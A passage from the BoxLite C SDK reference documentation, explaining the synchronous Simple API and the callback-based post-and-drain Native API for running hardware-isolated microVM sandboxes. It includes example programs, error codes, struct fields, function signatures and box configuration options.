r.stderr.strip()) ``` To allow writes, make the mount read-write (`read_only=False`, or omit the third element). ### The host directory does not exist / the path is relative When the mount point shows no content, or startup reports a path-related error, first confirm that the host path **exists and is absolute**. Relative paths are not resolved to the directory you expect. In Python, normalize with `os.path.abspath(...)` before passing the path. ### The sandbox fails to start (no virtualization) In an environment without hardware virtualization (Linux without KVM, WSL2 without KVM enabled, and so on), startup fails and raises `RuntimeError` (the process itself does not crash and the error is catchable). This is an environment constraint: you need Linux with KVM, or run on macOS (which uses Hypervisor.framework automatically). # C SDK reference Source: https://docs.boxlite.ai/reference/c BoxLite's C SDK embeds hardware-isolated microVM sandboxes into any C/C++ program, game engine, or other language's FFI layer through a stable C ABI (boxlite.h). Its core is an **async-callback, post-and-drain event model**: after you start an operation and register a callback, you must pump the event loop yourself (boxlite_runtime_drain) to receive results. *** ## What the C SDK gives you The C SDK offers two API surfaces for two levels of usage: | API style | Entry prefix | Model | When to use | | - | - | - | - | | **Simple API** | `boxlite_simple_*` | **Synchronous, blocking**, manages the runtime for you | Scripts, prototypes, one-shot commands, buffered output | | **Native API** | `boxlite_*` | **Async callbacks, post-and-drain** | Streaming output, custom volumes/network/security, multi-box orchestration, embedding BoxLite into an existing event loop | **Key mental model**: the Native API is not "call and get a result back". It is "start an operation -> the operation runs in a background Tokio task -> on completion it posts an event to the runtime queue -> you call `boxlite_runtime_drain` to dispatch queued events to your callbacks". **If you never call drain, your callbacks never fire.** This is the most common source of errors with this SDK, and it is emphasized repeatedly below. > **API source of truth**: the function that runs a command is `boxlite_box_exec` (there is no `boxlite_execute`); `boxlite_execution_wait`, `boxlite_stop_box`, and the rest are all callback-style. Treat `sdks/c/include/boxlite.h` as the single source of truth — every signature on this page matches that header. *** ## Prerequisites * The BoxLite C library and headers and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * **A C11-compatible compiler**: GCC or Clang. * **Build artifacts** (produced by compiling the C crate from the repository root): * Shared library: `target/release/libboxlite.dylib` (macOS) / `libboxlite.so` (Linux) * Static library: `target/release/libboxlite.a` * Header: `sdks/c/include/boxlite.h` (generated automatically by cbindgen) Build: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Run from the repository root # Fetch submodules (required) git submodule update --init --recursive # Build the C SDK, producing libboxlite.* and sdks/c/include/boxlite.h cargo build --release -p boxlite-c ``` Compile your program (replace the paths with your actual paths): ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Replace with the absolute path to the BoxLite repository root gcc \ -I/sdks/c/include \ -L/target/release \ -lboxlite \ my_program.c -o my_program # macOS: let the executable find the dylib install_name_tool -add_rpath /target/release ./my_program # Linux: use LD_LIBRARY_PATH export LD_LIBRARY_PATH=/target/release:$LD_LIBRARY_PATH ./my_program ``` *** ## Quick Example (minimal happy path) ### Simple API — synchronous, least code (recommended starting point) The Simple API manages the runtime itself; commands run synchronously and return buffered `stdout`/`stderr`. No drain or callbacks are needed, which makes it the best entry point. ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} /* simple_quickstart.c * See Section 2 for compilation. Can be copied and run directly. */ #include #include "boxlite.h" int main(void) { printf("BoxLite C SDK version: %s\n", boxlite_version()); CBoxliteSimple *box = NULL; CBoxliteError error = {0}; /* 0 = use defaults (cpus / memory_mib). */ if (boxlite_simple_new("python:slim", 0, 0, &box, &error) != Ok) { fprintf(stderr, "create failed (code %d): %s\n", error.code, error.message ? error.message : "unknown"); boxlite_error_free(&error); /* free error.message even on failure */ return 1; } /* Note: argc is the actual argument count; args does not need NULL termination (read by argc). */ const char *args[] = {"-c", "print('Hello from BoxLite!')"}; CBoxliteExecResult *result = NULL; if (boxlite_simple_run(box, "python", args, 2, &result, &error) != Ok) { fprintf(stderr, "run failed (code %d): %s\n", error.code, error.message ? error.message : "unknown"); boxlite_error_free(&error); boxlite_simple_free(box); return 1; } /* A non-zero exit code does *not* report an error; check exit_code yourself. */ printf("exit_code = %d\n", result->exit_code); printf("stdout = %s", result->stdout_text ? result->stdout_text : ""); if (result->stderr_text && result->stderr_text[0]) { printf("stderr = %s", result->stderr_text); } boxlite_result_free(result); /* free the result */ boxlite_simple_free(box); /* automatically stop + remove + free the runtime */ return 0; } ``` ### Native API — full callback + post-and-drain skeleton The following is the standard pattern for the Native API: **register callbacks -> start the async operation -> loop on drain until a callback sets a completion flag**. This is the core pattern of the SDK. ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} /* native_quickstart.c * Demonstrates the full post-and-drain model: create box -> exec -> stream output -> wait for exit code -> cleanup. * See Section 2 for compilation. Can be copied and run directly. */ #include #include #include "boxlite.h" /* ---- Use user_data to pass state between callbacks and the main thread ---- */ typedef struct { CBoxHandle *box; /* the create callback writes the result here */ int done; /* operation-complete flag; the main loop stops draining based on it */ int failed; /* whether the operation failed */ int code; /* exec exit code (filled in by the wait callback) */ } OpState; /* box creation callback: CBoxCreateBoxCb = void(*)(CBoxHandle*, CBoxliteError*, void*) */ static void on_box_created(CBoxHandle *box, CBoxliteError *err, void *ud) { OpState *st = (OpState *)ud; if (err && err->code != Ok) { fprintf(stderr, "create failed (code %d): %s\n", err->code, err->message ? err->message : "unknown"); st->failed = 1; } else { st->box = box; /* box ownership is transferred to us; free it with boxlite_box_free at the end */ } st->done = 1; } /* streaming stdout: CBoxStdoutCb = void(*)(const uint8_t*, size_t, void*) */ static void on_stdout(const uint8_t *data, size_t len, void *ud) { (void)ud; fwrite(data, 1, len, stdout); } /* streaming stderr: CBoxStderrCb = void(*)(const uint8_t*, size_t, void*) */ static void on_stderr(const uint8_t *data, size_t len, void *ud) { (void)ud; fwrite(data, 1, len, stderr); } /* exec wait completion: CExecutionWaitCb = void(*)(int exit_code, CBoxliteError*, void*) */ static void on_wait_done(int exit_code, CBoxliteError *err, void *ud) { OpState *st = (OpState *)ud; if (err && err->code != Ok) { fprintf(stderr, "wait failed (code %d): %s\n", err->code, err->message ? err->message : "unknown"); st->failed = 1; } st->code = exit_code; /* the exit code is returned via the callback's int parameter */ st->done = 1; } /* box stop/remove completion: CBoxStopBoxCb / CBoxRemoveBoxCb = void(*)(CBoxliteError*, void*) */ static void on_simple_done(CBoxliteError *err, void *ud) { OpState *st = (OpState *)ud; if (err && err->code != Ok) { fprintf(stderr, "op failed (code %d): %s\n", err->code, err->message ? err->message : "unknown"); st->failed = 1; } st->done = 1; } /* Event pump: drain repeatedly until st->done is set to 1 by some callback. * timeout_ms < 0 means block until at least one event arrives. */ static void pump_until_done(CBoxliteRuntime *rt, OpState *st) { CBoxliteError drain_err = {0}; while (!st->done) { int n = boxlite_runtime_drain(rt, -1, &drain_err); if (n < 0) { fprintf(stderr, "drain error (code %d): %s\n", drain_err.code, drain_err.message ? drain_err.message : "unknown"); boxlite_error_free(&drain_err); st->failed = 1; return; } } } int main(void) { CBoxliteRuntime *runtime = NULL; CBoxliteError error = {0}; /* 1) Create the runtime (synchronous). home_dir=NULL uses the default ~/.boxlite; no custom registry. */ if (boxlite_runtime_new(NULL, NULL, 0, &runtime, &error) != Ok) { fprintf(stderr, "runtime_new failed (code %d): %s\n", error.code, error.message ? error.message : "unknown"); boxlite_error_free(&error); return 1; } /* 2) Build the box options (synchronous setters). */ CBoxliteOptions *opts = NULL; if (boxlite_options_new("alpine:3.19", &opts, &error) != Ok) { fprintf(stderr, "options_new failed (code %d): %s\n", error.code, error.message ? error.message : "unknown"); boxlite_error_free(&error); boxlite_runtime_free(runtime); return 1; } boxlite_options_set_network_enabled(opts); /* 3) Asynchronously create the box: submit -> drive drain -> callback sets done. */ OpState st = {0}; if (boxlite_create_box(runtime, opts, on_box_created, &st, &error) != Ok) { fprintf(stderr, "create_box submit failed (code %d): %s\n", error.code, error.message ? error.message : "unknown"); boxlite_error_free(&error); boxlite_options_free(opts); boxlite_runtime_free(runtime); return 1; } pump_until_done(runtime, &st); boxlite_options_free(opts); /* options have been copied into the box; can be freed immediately */ if (st.failed || st.box == NULL) { boxlite_runtime_free(runtime); return 1; } CBoxHandle *box = st.box; /* 4) exec: boxlite_box_exec returns the ExecutionHandle *synchronously* (returns once the handle is obtained). */ const char *args[] = {"-c", "echo out; echo err 1>&2"}; BoxliteCommand cmd = { .command = "/bin/sh", .args = args, .argc = 2, .env_pairs = NULL, .env_count = 0, .workdir = NULL, .user = NULL, .timeout_secs = 0.0, /* 0.0 = no timeout */ .tty = 0, }; CExecutionHandle *exec = NULL; if (boxlite_box_exec(box, &cmd, &exec, &error) != Ok) { fprintf(stderr, "box_exec failed (code %d): %s\n", error.code, error.message ? error.message : "unknown"); boxlite_error_free(&error); boxlite_box_free(box); boxlite_runtime_free(runtime); return 1; } /* 5) Register streaming output callbacks (register before wait so early output is not lost). */ boxlite_execution_on_stdout(exec, on_stdout, NULL, &error); boxlite_execution_on_stderr(exec, on_stderr, NULL, &error); /* 6) Asynchronously wait for the exit code: submit wait -> drive drain -> callback receives exit_code. * drain also dispatches stdout/stderr chunks to the callbacks registered above. */ OpState wait_st = {0}; if (boxlite_execution_wait(exec, on_wait_done, &wait_st, &error) != Ok) { fprintf(stderr, "wait submit failed (code %d): %s\n", error.code, error.message ? error.message : "unknown"); boxlite_error_free(&error); boxlite_execution_free(exec); boxlite_box_free(box); boxlite_runtime_free(runtime); return 1; } pump_until_done(runtime, &wait_st); printf("\nexit_code = %d\n", wait_st.code); boxlite_execution_free(exec); /* 7) Asynchronously remove the box (force=1: remove even if running). */ char *box_id = boxlite_box_id(box); /* must be freed with boxlite_free_string */ OpState rm_st = {0}; if (boxlite_remove(runtime, box_id, 1, on_simple_done, &rm_st, &error) == Ok) { pump_until_done(runtime, &rm_st); } else { boxlite_error_free(&error); } boxlite_free_string(box_id); /* 8) Cleanup. */ boxlite_box_free(box); boxlite_runtime_free(runtime); /* free the runtime (NULL-safe) */ return 0; } ``` *** ## Runtime image management Beyond creating boxes, the runtime exposes an image handle for pulling and listing images directly. Obtain the handle synchronously with `boxlite_runtime_images`; the pull and list operations are **callback-style** and must be driven by `boxlite_runtime_drain` like any other async operation. ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} /* Pull and list images via the runtime image handle. * boxlite_image_pull / _image_list are callback-based; drain dispatches them. */ typedef struct { CImagePullResult *pull; int done; int failed; } PullState; typedef struct { CImageInfoList *list; int done; int failed; } ListState; static void on_pulled(CImagePullResult *res, CBoxliteError *err, void *ud) { PullState *st = (PullState *)ud; if (err && err->code != Ok) { st->failed = 1; } else if (res) { /* res is valid only during the callback; copy fields you need to keep */ printf("Pulled: %s (%d layers)\n", res->reference, res->layer_count); } st->done = 1; } static void on_listed(CImageInfoList *list, CBoxliteError *err, void *ud) { ListState *st = (ListState *)ud; if (err && err->code != Ok) { st->failed = 1; } else if (list) { printf("Images: %d\n", list->count); } st->done = 1; } void images_demo(CBoxliteRuntime *runtime) { CBoxliteError error = {0}; CBoxliteImageHandle *images = NULL; if (boxlite_runtime_images(runtime, &images, &error) != Ok) { boxlite_error_free(&error); return; } PullState ps = {0}; if (boxlite_image_pull(images, "alpine:latest", on_pulled, &ps, &error) == Ok) { CBoxliteError de = {0}; while (!ps.done) { if (boxlite_runtime_drain(runtime, -1, &de) < 0) { boxlite_error_free(&de); break; } } } else { boxlite_error_free(&error); } ListState ls = {0}; if (boxlite_image_list(images, on_listed, &ls, &error) == Ok) { CBoxliteError de = {0}; while (!ls.done) { if (boxlite_runtime_drain(runtime, -1, &de) < 0) { boxlite_error_free(&de); break; } } } else { boxlite_error_free(&error); } boxlite_image_free(images); /* free the image handle */ } ``` > Note: the image pull/list operations here take a callback and `user_data` (`CBoxImagePullCb` / `CBoxImageListCb`) — they are not synchronous. The result pointers (`CImagePullResult*` / `CImageInfoList*`) passed into the callback are valid only during the callback; copy out any fields you need. Image function signatures and result structs (verified against `sdks/c/include/boxlite.h`): ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} /* Obtain the image handle (synchronous) */ enum BoxliteErrorCode boxlite_runtime_images( CBoxliteRuntime *runtime, CBoxliteImageHandle **out_handle, CBoxliteError *out_error); /* Pull / list (callback-style; require drain) */ enum BoxliteErrorCode boxlite_image_pull( CBoxliteImageHandle *handle, const char *image_ref, CBoxImagePullCb cb, void *user_data, CBoxliteError *out_error); enum BoxliteErrorCode boxlite_image_list( CBoxliteImageHandle *handle, CBoxImageListCb cb, void *user_data, CBoxliteError *out_error); void boxlite_image_free(CBoxliteImageHandle *handle); void boxlite_free_image_pull_result(CImagePullResult *result); void boxlite_free_image_info_list(CImageInfoList *list); ``` `CImagePullResult` fields: | Field | Type | Description | | - | - | - | | `reference` | `char *` | The pulled image reference | | `config_digest` | `char *` | The image config digest | | `layer_count` | `int` | Number of layers in the image | `CImageInfoList` fields: | Field | Type | Description | | - | - | - | | `items` | `CImageInfo *` | Array of `CImageInfo` entries | | `count` | `int` | Number of entries in `items` | Each `CImageInfo` carries `reference`, `repository`, `tag`, `id`, `cached_at` (`int64_t`), `size` (`uint64_t`), and `has_size` (`int`, whether `size` is meaningful). *** ## The post-and-drain model in detail The table below summarizes the complete Native API model: | Phase | Operation | Who runs it and when | | - | - | - | | **Start** | Call `boxlite_create_box / _remove / _start_box / _stop_box / _execution_wait / ...` with a callback + `user_data` | The function returns immediately (a background task has been submitted) | | **Background execution** | — | A Tokio task performs the actual VM operation in the background and posts an event to the runtime queue on completion | | **Drive (drain)** | Call `boxlite_runtime_drain(runtime, timeout_ms, &err)` on the current thread | drain takes events off the queue and runs callbacks **on the calling thread**, synchronously | | **Callback** | Read the result and set a completion flag inside the callback | Triggered by drain; do not block inside a callback | `timeout_ms` semantics for `boxlite_runtime_drain`: | Value | Behavior | | - | - | | `0` | Non-blocking poll (handle currently ready events and return) | | `< 0` | Block until at least one event can be dispatched | | `> 0` | Block at most this many milliseconds | Return value: the number of dispatched events, or `-1` (error, details written to `out_error`). > **Core principle**: for every async operation you start with a callback, you must call `boxlite_runtime_drain`, or the callback never fires and your program hangs waiting for the `done` flag it set itself. The simplest reliable form is `pump_until_done` from the Quick Example: `while (!done) drain(rt, -1, &err);`. **Synchronous vs. asynchronous functions** (easy to confuse): | Function | Model | Notes | | - | - | - | | `boxlite_runtime_new` / `boxlite_runtime_free` | Synchronous | Construct/release the runtime | | `boxlite_options_*` (all setters) | Synchronous | Modify options in place | | `boxlite_box_exec` | **Synchronous** | Returns an `ExecutionHandle` immediately (does not wait for the command to finish) | | `boxlite_execution_on_stdout / _on_stderr / _on_exit` | Synchronous registration | Register a callback; the actual chunks are dispatched during drain | | `boxlite_execution_stdin_write / _stdin_close` | **Synchronous** | Write/close stdin immediately | | `boxlite_box_id` | Synchronous | Returns a heap string; free with `boxlite_free_string` | | `boxlite_create_box / _start_box / _stop_box / _get / _remove` | **Async callback** | Require drain | | `boxlite_execution_wait / _kill / _signal / _tty_resize` | **Async callback** | Require drain | | `boxlite_copy_into / _copy_out` | **Async callback** | Require drain | | `boxlite_get_info / _list_info / _box_metrics / _runtime_metrics` | **Async callback** | Results returned via callback | | `boxlite_image_pull / _image_list` | **Async callback** | Require drain (see [Runtime image management](#runtime-image-management)) | | `boxlite_box_info` | **Synchronous** | Returns `CBoxInfo*` directly (read from the handle, not through the queue) | | `boxlite_runtime_shutdown` | **Async callback** | Require drain | | `boxlite_simple_*` | **Synchronous, blocking** | The Simple API manages its own runtime; no drain | *** ## Parameters and returns (core types and signatures) Every function returns `enum BoxliteErrorCode` (`Ok = 0` is success, unless noted otherwise). On failure, if you pass `CBoxliteError *out_error`, its `code` + `message` are filled in, and `message` must be freed with `boxlite_error_free`. ### `BoxliteErrorCode` (complete enum) The full error-code enum has 22 entries (`Ok = 0` through `SessionReaped = 21`), verified against `sdks/c/include/boxlite.h`: | Name | Value | Meaning | | - | - | - | | `Ok` | 0 | Operation succeeded | | `Internal` | 1 | Internal error | | `NotFound` | 2 | Resource not found | | `AlreadyExists` | 3 | Resource already exists | | `InvalidState` | 4 | Invalid state for the operation | | `InvalidArgument` | 5 | Invalid argument (e.g. NULL, empty string) | | `Config` | 6 | Configuration error | | `Storage` | 7 | Storage error | | `Image` | 8 | Image pull/resolve error | | `Network` | 9 | Network error | | `Execution` | 10 | Command execution error | | `Stopped` | 11 | Resource stopped | | `Engine` | 12 | Engine error | | `Unsupported` | 13 | Unsupported operation | | `Database` | 14 | Database error | | `Portal` | 15 | Host-to-guest RPC transport error | | `Rpc` | 16 | RPC error | | `RpcTransport` | 17 | RPC transport error | | `Metadata` | 18 | Metadata error | | `UnsupportedEngine` | 19 | Unsupported engine (e.g. no virtualization) | | `ResourceExhausted` | 20 | A system resource limit was reached | | `SessionReaped` | 21 | An interactive exec session was reaped server-side after disconnect; reattach is no longer possible — start a new exec | ### `BoxliteCommand` (exec command descriptor) | Field | Type | Required | Description | | - | - | - | - | | `command` | `const char *` | Yes | The command to run, **must not be NULL** | | `args` | `const char *const *` | No | Argument array; NULL = no arguments | | `argc` | `int` | No | Number of `args` elements (read by count, no NULL terminator needed) | | `env_pairs` | `const char *const *` | No | Flat `[k0,v0,k1,v1,...]`; NULL = inherit the environment | | `env_count` | `int` | No | Number of strings in `env_pairs`; a trailing unpaired (odd) entry is ignored | | `workdir` | `const char *` | No | Working directory inside the container; NULL = container default | | `user` | `const char *` | No | User (e.g. `"nobody"`, `"1000:1000"`); NULL = container default | | `timeout_secs` | `double` | No | Timeout in seconds; **`0.0` = no timeout** | | `tty` | `int` | No | Non-zero = enable a TTY (interactive/PTY programs) | ### `ExecResult` (Simple API buffered result) | Field | Type | Description | | - | - | - | | `exit_code` | `int` | Process exit code (non-zero is **not** an API error; check it yourself) | | `stdout_text` | `char *` | Buffered standard output (may be an empty string) | | `stderr_text` | `char *` | Buffered standard error | > Free the whole struct with `boxlite_result_free(result)`. The Native API does not use this struct — it reads output via streaming callbacks, and the exit code arrives through the `int` parameter of `CExecutionWaitCb`. ### `CBoxInfo` (box info, aligned across SDKs) | Field | Type | Description | | - | - | - | | `id` | `char *` | Box ID | | `name` | `char *` | Box name (may be NULL) | | `image` | `char *` | Image reference | | `status` | `char *` | Status string (e.g. `running` / `stopped`) | | `running` | `int` | Whether running | | `pid` | `int` | Process PID | | `cpus` | `int` | The CPU value from the image configuration. To read the real allocation, run `nproc` inside the box | | `memory_mib` | `int` | The memory value from the image configuration. To read the real allocation, read `/proc/meminfo` | | `created_at` | `int64_t` | Creation timestamp | Free a single struct with `boxlite_free_box_info`, a list with `boxlite_free_box_info_list`. ### `CBoxMetrics` / `CRuntimeMetrics` (metrics fields, real names) Key `CBoxMetrics` (per-box) fields: | Field | Type | Description | | - | - | - | | `cpu_percent` | `double` | CPU usage (**not** `cpu_time_ms`) | | `memory_bytes` | `int64_t` | Memory in bytes (**not** `memory_usage_bytes`) | | `commands_executed` | `int` | Commands executed | | `exec_errors` | `int` | Execution errors | | `bytes_sent` / `bytes_received` | `int64_t` | I/O bytes | | `create_duration_ms` / `boot_duration_ms` | `int64_t` | Create/boot durations | | `network_bytes_sent` / `network_bytes_received` | `int64_t` | Network bytes | | `network_tcp_connections` / `network_tcp_errors` | `int` | TCP connections/errors | `CRuntimeMetrics` (runtime-wide): | Field | Type | Description | | - | - | - | | `boxes_created_total` | `int` | Total boxes created | | `boxes_failed_total` | `int` | Total boxes that failed | | `num_running_boxes` | `int` | Currently running boxes (**not** `active_boxes`) | | `total_commands_executed` | `int` | Total commands executed | | `total_exec_errors` | `int` | Total execution errors | Metrics are returned via callbacks (`CBoxMetricsCb` / `CRuntimeMetricsCb`, signature `void(*)(struct C...Metrics*, CBoxliteError*, void*)`), which also require drain. ### Callback function-pointer types | typedef | Signature | Used by | | - | - | - | | `CBoxCreateBoxCb` | `void(*)(CBoxHandle*, CBoxliteError*, void*)` | `boxlite_create_box` | | `CBoxGetBoxCb` | `void(*)(CBoxHandle*, CBoxliteError*, void*)` | `boxlite_get` | | `CBoxStartBoxCb` | `void(*)(CBoxliteError*, void*)` | `boxlite_start_box` | | `CBoxStopBoxCb` | `void(*)(CBoxliteError*, void*)` | `boxlite_stop_box` | | `CBoxRemoveBoxCb` | `void(*)(CBoxliteError*, void*)` | `boxlite_remove` | | `CBoxCopyCb` | `void(*)(CBoxliteError*, void*)` | `boxlite_copy_into` / `_copy_out` | | `CBoxImagePullCb` | `void(*)(CImagePullResult*, CBoxliteError*, void*)` | `boxlite_image_pull` | | `CBoxImageListCb` | `void(*)(CImageInfoList*, CBoxliteError*, void*)` | `boxlite_image_list` | | `CBoxStdoutCb` | `void(*)(const uint8_t*, size_t, void*)` | `boxlite_execution_on_stdout` | | `CBoxStderrCb` | `void(*)(const uint8_t*, size_t, void*)` | `boxlite_execution_on_stderr` | | `CBoxExitCb` | `void(*)(int, void*)` | `boxlite_execution_on_exit` | | `CExecutionWaitCb` | `void(*)(int, CBoxliteError*, void*)` | `boxlite_execution_wait` (first arg = exit code) | | `CExecutionKillCb` | `void(*)(CBoxliteError*, void*)` | `boxlite_execution_kill` | | `CExecutionSignalCb` | `void(*)(CBoxliteError*, void*)` | `boxlite_execution_signal` | | `CExecutionResizeCb` | `void(*)(CBoxliteError*, void*)` | `boxlite_execution_tty_resize` | | `CBoxInfoCb` / `CBoxInfoListCb` | `void(*)(struct CBoxInfo*/*List*, CBoxliteError*, void*)` | `boxlite_get_info` / `_list_info` | | `CRuntimeShutdownCb` | `void(*)(CBoxliteError*, void*)` | `boxlite_runtime_shutdown` | > **Pointer lifetime in callbacks**: pointers passed into a callback (`CBoxliteError*`, `CBoxInfo*`, etc.) are valid only while the callback runs; copy anything you want to keep. `CBoxHandle*` (in the create/get callbacks) transfers ownership to you and must later be freed with `boxlite_box_free`. ### Key function signatures (matching the header) ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} /* Runtime (synchronous construction/release) */ const char *boxlite_version(void); enum BoxliteErrorCode boxlite_runtime_new( const char *home_dir, /* NULL = ~/.boxlite */ const struct BoxliteImageRegistry *image_registries, int image_registries_count, CBoxliteRuntime **out_runtime, CBoxliteError *out_error); void boxlite_runtime_free(CBoxliteRuntime *runtime); /* Event pump (must be called, otherwise callbacks do not fire) */ int boxlite_runtime_drain(CBoxliteRuntime *runtime, int timeout_ms, CBoxliteError *out_error); /* Graceful shutdown (async callback, requires drain). * timeout_secs: 0 = default 10s; -1 = wait indefinitely; >0 = custom seconds. * Marks runtime liveness as closed synchronously so subsequent ops fail fast. */ enum BoxliteErrorCode boxlite_runtime_shutdown( CBoxliteRuntime *runtime, int timeout_secs, CRuntimeShutdownCb cb, void *user_data, CBoxliteError *out_error); /* box lifecycle (async callbacks, require drain) */ enum BoxliteErrorCode boxlite_create_box( CBoxliteRuntime *runtime, CBoxliteOptions *opts, CBoxCreateBoxCb cb, void *user_data, CBoxliteError *out_error); enum BoxliteErrorCode boxlite_start_box(CBoxHandle *handle, CBoxStartBoxCb cb, void *ud, CBoxliteError *err); enum BoxliteErrorCode boxlite_stop_box (CBoxHandle *handle, CBoxStopBoxCb cb, void *ud, CBoxliteError *err); /* Note: boxlite_stop_box is callback-style and does NOT consume the handle (it clones internally). * The handle stays valid after stop — you can start it again, then free it once with boxlite_box_free. */ enum BoxliteErrorCode boxlite_get(CBoxliteRuntime *rt, const char *id_or_name, CBoxGetBoxCb cb, void *ud, CBoxliteError *err); enum BoxliteErrorCode boxlite_remove(CBoxliteRuntime *rt, const char *id_or_name, int force, CBoxRemoveBoxCb cb, void *ud, CBoxliteError *err); char *boxlite_box_id(CBoxHandle *handle); /* free with boxlite_free_string */ void boxlite_box_free(CBoxHandle *handle); /* exec (box_exec returns the handle synchronously; wait is async) */ enum BoxliteErrorCode boxlite_box_exec( CBoxHandle *handle, const struct BoxliteCommand *cmd, CExecutionHandle **out_execution, CBoxliteError *out_error); enum BoxliteErrorCode boxlite_execution_on_stdout(CExecutionHandle *e, CBoxStdoutCb cb, void *ud, CBoxliteError *err); enum BoxliteErrorCode boxlite_execution_on_stderr(CExecutionHandle *e, CBoxStderrCb cb, void *ud, CBoxliteError *err); enum BoxliteErrorCode boxlite_execution_on_exit (CExecutionHandle *e, CBoxExitCb cb, void *ud, CBoxliteError *err); enum BoxliteErrorCode boxlite_execution_stdin_write(CExecutionHandle *e, const uint8_t *data, size_t len, CBoxliteError *err); enum BoxliteErrorCode boxlite_execution_stdin_close(CExecutionHandle *e, CBoxliteError *err); enum BoxliteErrorCode boxlite_execution_wait (CExecutionHandle *e, CExecutionWaitCb cb, void *ud, CBoxliteError *err); enum BoxliteErrorCode boxlite_execution_kill (CExecutionHandle *e, CExecutionKillCb cb, void *ud, CBoxliteError *err); enum BoxliteErrorCode boxlite_execution_signal(CExecutionHandle *e, int sig, CExecutionSignalCb cb, void *ud, CBoxliteError *err); enum BoxliteErrorCode boxlite_execution_tty_resize(CExecutionHandle *e, int rows, int cols, CExecutionResizeCb cb, void *ud, CBoxliteError *err); void boxlite_execution_free(CExecutionHandle *e); /* options (synchronous setters) */ enum BoxliteErrorCode boxlite_options_new(const char *image, CBoxliteOptions **out_opts, CBoxliteError *err); void boxlite_options_set_cpus(CBoxliteOptions *opts, int cpus); void boxlite_options_set_memory(CBoxliteOptions *opts, int memory_mib); void boxlite_options_add_bind_mount(CBoxliteOptions *opts, const char *host_path, const char *guest_path, int read_only); /* read_only: 1=read-only 0=read-write */ enum BoxliteErrorCode boxlite_options_add_port(CBoxliteOptions *opts, uint16_t host_port, uint16_t guest_port, enum BoxlitePortProtocol protocol, const char *host_ip); /* host_port=0 => same as guest_port */ void boxlite_options_add_secret(CBoxliteOptions *opts, const char *name, const char *value, const char *placeholder, const char *const *hosts, int hosts_count); void boxlite_options_free(CBoxliteOptions *opts); /* Simple API (synchronous blocking) */ enum BoxliteErrorCode boxlite_simple_new(const char *image, int cpus, int memory_mib, CBoxliteSimple **out, CBoxliteError *err); enum BoxliteErrorCode boxlite_simple_run(CBoxliteSimple *box, const char *command, const char *const *args, int argc, CBoxliteExecResult **out, CBoxliteError *err); void boxlite_simple_free(CBoxliteSimple *box); void boxlite_result_free(CBoxliteExecResult *result); /* Memory release */ void boxlite_error_free(CBoxliteError *error); void boxlite_free_string(char *s); ``` *** ## Configuring a box (volumes / ports / secrets / security) All options setters are synchronous; once built, pass the options to `boxlite_create_box`. **Options are copied into the box at create time**, so you can call `boxlite_options_free` right after submitting create. ### Mounting volumes (the third argument is `int read_only`, not a string) ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} /* read_only: 1 = read-only, 0 = read-write. * Replace with the absolute path to the host directory. */ boxlite_options_add_bind_mount(opts, "", "/data", 1); /* read-only mount at /data */ boxlite_options_add_bind_mount(opts, "", "/work", 0); /* read-write mount at /work */ ``` > **Key**: the SDK's third argument is **`int read_only`** (1/0 in C), **not** the CLI-style `:ro`/`:rw` string. Passing a string here will not even compile; the CLI `-v host:box:ro` syntax belongs to the command-line parsing layer and is unrelated to the SDK API. ### Port forwarding (host-first convention) ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} /* host_port=0 means same as guest_port; host_ip=NULL/"" means bind to all host interfaces. */ enum BoxliteErrorCode rc = boxlite_options_add_port(opts, 8080, 80, BoxlitePortProtocolTcp, NULL); /* Forward host 8080 to port 80 inside the box (TCP). A return of InvalidArgument indicates invalid arguments. */ ``` ### Injecting a secret (vault/secrets entry point) ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} /* On outbound network requests to a matching host, the secret is injected via its placeholder; value is never exposed in plaintext to the workload command. */ const char *secret_hosts[] = {"api.example.com"}; boxlite_options_add_secret( opts, "API_KEY", /* name */ "", /* value: replace with the real key; do not commit to version control */ "{{API_KEY}}", /* placeholder */ secret_hosts, 1); /* applies only to these hosts */ ``` ### Security sandbox (toggled through advanced options) Security is controlled through the advanced layer (consistent with the core model's `BoxOptions.advanced.security`); in C this goes through a separate `CAdvancedBoxOptions` handle: ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} CAdvancedBoxOptions *adv = NULL; CBoxliteError error = {0}; if (boxlite_advanced_options_new(&adv, &error) != Ok) { fprintf(stderr, "advanced_options_new failed (code %d): %s\n", error.code, error.message ? error.message : "unknown"); boxlite_error_free(&error); /* ... handle the error ... */ } /* enabled != 0: fully isolated sandbox (default); 0: disable the sandbox (debugging only / when virtualization is unavailable). */ boxlite_advanced_options_set_security_enabled(adv, 1); /* Apply to the box options (copied into opts; adv remains owned by the caller). */ boxlite_options_set_advanced(opts, adv); /* Free adv when done. */ boxlite_advanced_options_free(adv); ``` > Security isolation is on by default: not calling `set_security_enabled` is equivalent to full isolation. Pass `0` to disable it only in environments that genuinely cannot virtualize (debugging). *** ## stdin, signals, and PTY (interactive execution) The `ExecutionHandle` returned by `boxlite_box_exec` supports bidirectional interaction: ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} /* Write data to the process stdin (synchronous). */ const char *line = "hello\n"; boxlite_execution_stdin_write(exec, (const uint8_t *)line, strlen(line), &error); /* End of input (EOF), so programs that wait on stdin like cat/wc/sort can finish (synchronous, idempotent). */ boxlite_execution_stdin_close(exec, &error); /* Send an arbitrary Unix signal (async callback). sig: 2=SIGINT, 15=SIGTERM. */ boxlite_execution_signal(exec, 2 /* SIGINT */, on_signal_done, &sig_st, &error); /* Note: for kill (SIGKILL + reap) use the dedicated boxlite_execution_kill. */ /* Resize the window for a TTY program (requires cmd.tty=1 at start, async callback). */ boxlite_execution_tty_resize(exec, 40 /* rows */, 120 /* cols */, on_resize_done, &rs_st, &error); ``` Each async operation (signal/resize/kill) needs drain to dispatch its callback after you start it. `stdin_write` / `stdin_close` are synchronous and need no drain. *** ## Simple API defaults In `boxlite_simple_new(image, cpus, memory_mib, ...)`, passing `0` for `cpus`/`memory_mib` leaves the value to the engine's fallback. The Simple API cannot configure volumes/network/security or other advanced options — switch to the 